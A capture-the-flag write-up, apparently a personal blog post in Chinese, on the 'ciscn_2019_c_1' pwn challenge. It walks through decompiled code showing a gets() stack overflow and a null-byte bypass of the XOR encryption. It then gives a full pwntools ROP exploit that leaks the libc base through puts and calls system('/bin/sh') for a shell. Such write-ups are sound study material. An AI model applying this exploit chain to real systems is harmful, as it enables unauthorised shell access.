ciscn_2019_c_1

题目链接:ciscn_2019_c_1

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init();
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin("Welcome to this Encryption machine\n", argv);
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin("I think you can do it by yourself", &v4);
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin("%d", &v4);
  }
  puts("Something Wrong!");
  return 0;
}

这里重点关注 encrypt 函数,如下。

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以看到,encrypt 函数使用 gets 函数读取用户输入,并且用户可通过输入 \x00 字符直接绕过后续的加密流程。

因此,可以直接先写入一个 \x00 来逃避后续的加密流程,随后使用 ROP 技术泄露 LIBC 基址,调用 system 函数 GetShell。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000400c83 : pop rdi ; ret
    sla("Input your choice!\n", "1")
    sla("Input your Plaintext to be encrypted\n", b"\x00" + 87 * b"a" + p64(0x0000000000400c83) + p64(ELF_FILE.got['alarm']) + p64(ELF_FILE.plt['puts']) + p64(ELF_FILE.symbols['_start']))
    LIBC_ADDR = uu64(ru('\x7f')[-6:]) - LIBC_FILE.symbols['alarm']
    leak("LIBC_ADDR", LIBC_ADDR)
    # .text:0000000000400C1C retn
    sla("Input your choice!\n", "1")
    sla("Input your Plaintext to be encrypted\n", b"\x00" + 87 * b"a" + p64(0x0000000000400C1C) + p64(0x0000000000400c83) + p64(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh"))) + p64(LIBC_ADDR + LIBC_FILE.symbols['system']) + p64(ELF_FILE.symbols['_start']))
    irt()

pwn()
posted @ 2025-03-27 01:41  imtaieee  阅读(33)  评论(0)    收藏  举报